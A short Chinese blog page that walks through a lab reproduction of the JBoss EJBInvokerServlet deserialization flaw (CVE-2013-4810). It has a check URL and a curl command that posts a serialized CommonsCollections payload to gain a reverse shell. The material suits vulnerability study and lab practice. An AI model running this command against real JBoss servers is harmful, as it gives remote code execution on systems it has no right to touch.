当前位置： 首页 > news >正文

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

news 2025/7/5 19:13:55

开启环境

访问http://172.16.1.183:8080/invoker/EJBInvokerServlet下载下来了说明漏洞存在

利用生成的.ser文件，通过POST 二进制数据上去，反向连接shell

curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser


http://www.mrgr.cn/news/34464.html

相关文章：

  • 线程同步:消费者模型(非常重要的模型)
  • STM32之串口通信
  • 【C++篇】走进C++标准模板库：STL的奥秘与编程效率提升之道
  • Redis:持久化
  • pyqt QGraphicsView 以鼠标为中心进行缩放
  • 2024年9月24日 十二生肖 今日运势
  • 高通Android 12 push framework.jar和service.jar
  • 解决跨域问题的方法
  • WinCC中归档数据片段的时间和尺寸设置
  • 深度学习：卷积神经网络（CNN）基础知识
  • WordPress精选文章如何添加侧边栏和页面？
  • 华为三折叠一拆，苹果脸被打肿了！
  • c++ 类中特殊成员函数
  • 【C++】10道经典面试题带你玩转二叉树
  • 后端开发刷题 | 没有重复项数字的全排列
  • 【学术会议征稿】第七届电力电子与控制工程国际学术会议（ICPECE 2024）
  • Nginx作用
  • 在Android开发中可以用到的Ui控件有哪些？
  • Ubuntu 升级特定软件包
  • 【洛谷】P10417 [蓝桥杯 2023 国 A] 第 K 小的和 的题解